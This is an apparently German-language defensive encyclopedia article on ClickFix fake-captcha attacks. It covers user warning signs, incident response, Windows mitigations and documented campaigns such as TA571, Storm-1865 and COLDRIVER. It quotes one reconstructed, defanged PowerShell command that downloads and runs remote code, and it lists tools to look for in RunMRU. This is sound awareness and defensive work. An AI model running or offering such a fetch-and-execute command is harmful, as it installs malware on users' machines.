--- id: CP-011 slug: clickfix-gefaelschte-captchas lang: de title: ClickFix und gefälschte Captchas description: Eine falsche Prüfung „Ich bin kein Roboter“ lässt Sie einen Befehl in Windows+R einfügen. So funktioniert ClickFix und so reagieren Sie richtig. canonical_url: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ markdown_url: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas.md publisher: Brain (https://startbrain.io) license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) cite_as: Brain, „ClickFix und gefälschte Captchas“, Cyberpedia, 2026. https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ (CC BY 4.0) wing: 1 theme: detect_phishing reflex: cr-001 schema: G1 updated: "2026-10-26" translations: de: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ fr: https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ en: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ es: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ sources: - "n": 1 title: "User Execution: Malicious Copy and Paste (T1204.004)" publisher: MITRE ATT&CK url: https://attack.mitre.org/techniques/T1204/004/ published: "2025-03-18" accessed: "2026-10-26" - "n": 2 title: "From Clipboard to Compromise: A PowerShell Self-Pwn" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn published: "2024-06-17" accessed: "2026-10-26" - "n": 3 title: Panorama de la cybermenace 2025 publisher: ANSSI url: https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf published: "2026-03-11" accessed: "2026-10-26" - "n": 4 title: Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025 publisher: ESET (WeLiveSecurity) url: https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ published: "2025-06-26" accessed: "2026-10-26" - "n": 5 title: COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs publisher: Google Threat Intelligence Group url: https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos published: "2025-05-07" accessed: "2026-10-26" - "n": 6 title: "Think before you Click(Fix): Analyzing the ClickFix social engineering technique" publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ published: "2025-08-21" accessed: "2026-10-26" - "n": 7 title: "Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape published: "2024-11-18" accessed: "2026-10-26" - "n": 8 title: Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations publisher: CISA et FBI url: https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b published: "2025-05-21" accessed: "2026-10-26" - "n": 9 title: Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ published: "2025-03-13" accessed: "2026-10-26" - "n": 10 title: "Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?" publisher: Cybermalveillance.gouv.fr url: https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares published: "2025-06-03" accessed: "2026-10-26" --- # ClickFix und gefälschte Captchas ClickFix ist eine Social-Engineering-Technik, bei der die Opfer die Schadsoftware selbst installieren. Eine Webseite oder ein Dateianhang zeigt einen falschen Fehler oder eine falsche Prüfung „Ich bin kein Roboter“ und dazu eine Anleitung: ein Windows-Befehlsfenster öffnen, einfügen, bestätigen. Die Seite hat zuvor bereits einen Befehl in die Zwischenablage gelegt, und genau diesen Befehl führt das Opfer aus, ohne ihn gelesen zu haben [1]. Proofpoint hat die Methode schon im März 2024 beobachtet. Der Name geht auf eine Serie gefälschter Browser-Update-Warnungen von Mitte April 2024 zurück, die Forschende ClickFix getauft haben [2]. Seit dem Herbst 2024 häufen Cyberkriminelle solche Kampagnen, stellt die ANSSI fest [3]. Laut ESET ist ClickFix zwischen dem zweiten Halbjahr 2024 und dem ersten Halbjahr 2025 um mehr als 500 % gewachsen und damit zum zweithäufigsten Angriffsvektor nach dem Phishing geworden [4]. ## In 30 Sekunden - Wo es vorkommt: auf Webseiten, oft auf bekannten Seiten, die gehackt wurden, und in Dateianhängen, die ein Word-Dokument nachahmen. - Was der Angreifer will: dass Sie selbst einen Befehl ausführen, der einen Passwortdieb oder einen Fernzugriff auf Ihrem Rechner installiert. - Der Reflex: Keine ehrliche Prüfung verlangt von Ihnen, etwas in das Ausführen-Fenster, in PowerShell oder ins Terminal einzufügen. Verlangt eine Seite das, schließen Sie sie. - Wenn es schon passiert ist: Ziehen Sie das Netzwerkkabel oder schalten Sie das WLAN aus, lassen Sie den Computer eingeschaltet und rufen Sie sofort den IT-Support an. ## Direkte Fragen ### Kann ein echtes Captcha von mir verlangen, Windows+R zu drücken? Nein. Ein Captcha wird auf der Seite selbst gelöst: ein Kästchen, einige Bilder zum Auswählen, manchmal gar nichts. Google rät zu Misstrauen gegenüber jeder Seite, die Sie auffordert, den Browser zu verlassen und Befehle auf Ihrem Gerät auszuführen [5]. ### Ich habe den Befehl eingefügt, aber nicht die Eingabetaste gedrückt. Bin ich infiziert? Das hängt vom Fenster ab. Im Ausführen-Fenster startet nichts, bevor Sie die Eingabetaste drücken [2]: Schließen Sie es, ohne zu bestätigen. In PowerShell oder im Terminal kann sich ein eingefügter Text von selbst ausführen. In der PowerShell-Konsole fügt ein einfacher Rechtsklick den Befehl ein und startet ihn [2], und Microsoft rät, das Terminal so einzustellen, dass es warnt, wenn der eingefügte Text mehrere Zeilen umfasst [6]. Informieren Sie in jedem Fall den IT-Support: Ihr Rechner ist womöglich betroffen, und die Seite, die Sie zu dieser Handlung aufgefordert hat, bleibt für Ihre Kolleginnen und Kollegen eine Falle. ### Warum blockiert das Antivirenprogramm den Angriff nicht immer? Weil Sie den Befehl selbst ausführen, mit einem Werkzeug, das Windows mitliefert, und weil es anfangs keine Datei zu prüfen gibt. Laut Proofpoint können Antivirenprogramme und die auf den Rechnern installierten Erkennungswerkzeuge den Inhalt der Zwischenablage nur schwer untersuchen: Die präparierte Seite muss daher blockiert werden, bevor sie angezeigt wird [2]. Microsoft zufolge kann eine ClickFix-Kampagne so an den herkömmlichen automatischen Schutzmaßnahmen vorbeikommen [6]. ## In der Haut des Angreifers Eine ausführbare Datei, die per E-Mail kommt oder aus dem Web heruntergeladen wird, durchläuft mehrere Kontrollen, bevor sie sich öffnen lässt. ClickFix umgeht sie, indem es den gefährlichen Handgriff dem Opfer überlässt: Es gibt keine Datei mehr, nur eine Textzeile zum Einfügen [1]. Eine solche Aktion aufzubauen, erfordert wenig Know-how. Mitte September 2024 hat ein Forscher auf GitHub „zu Bildungszwecken“ ein quelloffenes Kit für gefälschte reCAPTCHAs veröffentlicht, und Proofpoint fand es wenige Tage später in schädlichen E-Mails wieder [7]. Seit Ende 2024 sieht Microsoft, dass Anbieter in Hackerforen ClickFix-Generatoren mit dem Spitznamen „Win + R“ anbieten, mit Seiten, die unter anderem Cloudflare nachahmen. Das Abonnement kostet zwischen 200 und 1 500 Dollar im Monat. Ein einzelnes Bauteil wie der Quellcode, die Startseite oder die Befehlszeile kostet zwischen 200 und 500 Dollar [6]. Der Klick auf „Überprüfen“ löst ein Skript aus, das den Befehl im Hintergrund in die Zwischenablage kopiert [6]. Dieser Befehl endet oft mit einem gefälschten Bestätigungstext der Art „I am not a robot: CAPTCHA Verification UID“ [6]. Proofpoint erklärt die Rolle dieser falschen Meldung am Ende des Befehls: Sobald der Befehl im Ausführen-Fenster eingefügt ist, sieht das Opfer den eigentlichen schädlichen Befehl nicht [7]. Das Feld dieses Fensters nimmt nicht mehr als 259 Zeichen auf [6], und der eingefügte Befehl lädt in der Regel nur den nächsten Schritt von einem Server herunter. PowerShell bleibt dafür das am häufigsten genutzte Windows-Werkzeug [6]. ```text Was die Seite in die Zwischenablage legt (nachgestelltes Beispiel, Adresse entschärft): powershell -w h -c "iwr hxxps://exemple[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821 Was das Opfer im Ausführen-Fenster sehen kann (Illustration): die falsche Meldung, nicht den Befehl. ...ex" # I am not a robot: CAPTCHA Verification UID: 4821 ``` ## Was Sie auf dem Bildschirm sehen Das typische Szenario: Ein gefälschtes Captcha erscheint vor der Seite, die Sie aufrufen wollten, oft nach dem Vorbild von Googles reCAPTCHA oder Cloudflares Turnstile [6]. Sie klicken, und das Captcha gibt Anweisungen: das Ausführen-Fenster mit der Windows-Taste und R öffnen, mit Strg+V einfügen, dann die Eingabetaste drücken. Dieses Szenario beschreiben CISA und FBI in ihrer Warnung vom Mai 2025 zum Datendieb LummaC2 [8]. Die Aufmachung wechselt je nach Ziel. Im März 2024 enthielten E-Mails einen Anhang, der wie ein Word-Dokument aussah, mit der Meldung „Die Erweiterung Word Online ist nicht installiert“ und zwei Schaltflächen, „How to fix“ und „Auto-fix“ [2]. Ab Dezember 2024 zielte eine Kampagne auf Personal im Gastgewerbe, indem sie Booking.com nachahmte, mit einem gefälschten Captcha über einer kaum sichtbaren Kopie einer Booking.com-Seite im Hintergrund [9]. Verlassen Sie sich nicht auf die Aufmachung, die Cloudflare, Google oder Booking.com täuschend echt nachahmen kann. Stoppen sollte Sie die Anweisung: Eine Webseite verlangt von Ihnen, den Browser zu verlassen und etwas in ein Systemfenster einzufügen. Im Brain-Programm gehört dieser Handgriff zum Reflex „Manipulationssignale im Text der E-Mail erkennen“. Das Manipulationssignal ist hier die Anleitung selbst, per E-Mail wie im Web. Haben Sie den Befehl bestätigt, handeln Sie innerhalb weniger Minuten. Ziehen Sie das Netzwerkkabel oder schalten Sie das WLAN aus, fahren Sie den Computer aber nicht herunter: In ihrem Merkblatt zu Ransomware weist Cybermalveillance.gouv.fr darauf hin, dass das Ausschalten Beweise im Arbeitsspeicher löschen kann, die für die Untersuchung nötig sind [10]. Rufen Sie den IT-Support oder das Sicherheitsteam an und sagen Sie, welche Konten auf dem Rechner geöffnet waren. LummaC2, eines der auf diese Weise installierten Programme, entwendet Finanzzugangsdaten, Kryptowährungs-Wallets, Browser-Erweiterungen und Informationen zur Zwei-Faktor-Authentifizierung [8]: Diese Konten müssen zuerst geschützt werden. Ohne IT-Abteilung bietet die Plattform 17cyber.gouv.fr einen Hilfeweg an [10]. ## Unter der Haube Das Ausführen-Fenster gehört zum Windows-Explorer (explorer.exe), einer Komponente, der das System vertraut [6]. Jeder Befehl, der aus diesem Fenster erfolgreich gestartet wird, hinterlässt eine Spur im Registrierungsschlüssel RunMRU, der den Verlauf der Eingaben speichert. Microsoft rät Ermittlern, dort nach Aufrufen von powershell, mshta, rundll32, wscript, curl oder wget zu suchen, Windows-Werkzeugen, die Code herunterladen oder ausführen können [6]. Zur Rolle von PowerShell bei Angriffen allgemein siehe den Artikel zur Ausführung über Befehlsinterpreter. Microsoft empfiehlt, das Ausführen-Fenster per Gruppenrichtlinie für Personen zu deaktivieren, die es nicht brauchen, die Protokollierung von PowerShell-Skriptblöcken zu aktivieren und die zugelassenen Anwendungen zu beschränken [6]. Google legt Unternehmen nahe, die Ausführung von Skripten durch Benutzer standardmäßig zu untersagen [5]. Die CISA rät zu einer Liste zugelassener Anwendungen und zu getrennten Konten für die Administration [8]. Die Technik zielt nicht mehr nur auf Windows. Im Juni 2025 richtete sich eine ClickFix-Kampagne gegen macOS-Nutzer, um den Datendieb Atomic macOS Stealer zu installieren [6], und ESET beschreibt sie als Bedrohung für Windows, Linux und macOS [4]. ## Fallanalysen ### März 2024: TA571 und ClearFake Am 1. März 2024 verschickt TA571, ein Verteiler schädlicher E-Mails, mehr als 100 000 Nachrichten an Tausende Organisationen, mit der oben beschriebenen gefälschten Word-Seite. Je nach Frühjahrskampagne installiert der Befehl DarkGate, Matanbuchus oder NetSupport [2]. Ab Anfang April schleust die Kampagne ClearFake falsche Warnungen in gehackte, legitime Seiten ein. Proofpoint beschreibt dort eine Kette, in der ein einziges PowerShell-Skript fünf Familien von Schadsoftware ausführen lassen konnte, darunter den Datendieb Lumma Stealer [2]. ### September 2024: die gefälschten GitHub-Warnungen Am 18. September 2024 kommentieren Angreifer Repositories auf GitHub oder eröffnen dort Tickets. Die Benachrichtigungen, die GitHub an Entwickler sendet, geben sich als Sicherheitswarnung aus und führen zu einer gefälschten GitHub-Seite mit einem falschen reCAPTCHA. Der Befehl installiert Lumma Stealer, und Proofpoint zählt mindestens 300 betroffene Organisationen [7]. ### Dezember 2024: das Gastgewerbe im Visier Microsoft verfolgt die Kampagne im Look von Booking.com unter dem Namen Storm-1865. Sie richtet sich gegen Beschäftigte des Gastgewerbes in Nordamerika, Ozeanien, Asien und Europa und installiert unter anderem XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot und NetSupport RAT [9]. ### 2025: Nachrichtendienste steigen ein Google hat LOSTKEYS identifiziert, ein Programm, das Dateien stiehlt, und ordnet es der Gruppe COLDRIVER zu, auch Callisto oder Star Blizzard genannt. LOSTKEYS, beobachtet im Januar, März und April 2025, wird am Ende einer Kette geliefert, die mit einem gefälschten Captcha beginnt: Die Seite kopiert einen PowerShell-Befehl und fordert dazu auf, ihn im Ausführen-Fenster zu starten. Zu den jüngeren Zielen der Gruppe zählen aktuelle und frühere Berater westlicher Regierungen, Journalisten und NGOs [5]. Laut ANSSI sollen Callisto-Operatoren diese Technik im September 2025 ebenfalls eingesetzt haben, in Kampagnen gegen Mitglieder der Zivilgesellschaft in Russland und gegen NGOs, die in der Ukraine tätig sind. Die Behörde gibt außerdem an, dass ihr mindestens eine ClickFix-Kampagne bekannt geworden ist [3]. ## Quellen 1. MITRE ATT&CK, „User Execution: Malicious Copy and Paste (T1204.004)“, 18. März 2025. https://attack.mitre.org/techniques/T1204/004/ (abgerufen am 26. Oktober 2026) 2. Proofpoint, „From Clipboard to Compromise: A PowerShell Self-Pwn“, 17. Juni 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (abgerufen am 26. Oktober 2026) 3. ANSSI, „Panorama de la cybermenace 2025“, 11. März 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (abgerufen am 26. Oktober 2026) 4. ESET (WeLiveSecurity), „Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025“, 26. Juni 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (abgerufen am 26. Oktober 2026) 5. Google Threat Intelligence Group, „COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs“, 7. Mai 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (abgerufen am 26. Oktober 2026) 6. Microsoft Threat Intelligence, „Think before you Click(Fix): Analyzing the ClickFix social engineering technique“, 21. August 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (abgerufen am 26. Oktober 2026) 7. Proofpoint, „Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape“, 18. November 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (abgerufen am 26. Oktober 2026) 8. CISA et FBI, „Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations“, 21. Mai 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (abgerufen am 26. Oktober 2026) 9. Microsoft Threat Intelligence, „Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware“, 13. März 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (abgerufen am 26. Oktober 2026) 10. Cybermalveillance.gouv.fr, „Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?“, 3. Juni 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (abgerufen am 26. Oktober 2026) --- Originalquelle: Cyberpedia, die öffentliche Enzyklopädie zu Cybersicherheit und KI von Brain. Kanonische Version: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ Sie dürfen diesen Text unter der Lizenz CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) frei weiterverwenden, sofern Sie „Brain, Cyberpedia“ mit einem Link auf die obige Adresse nennen.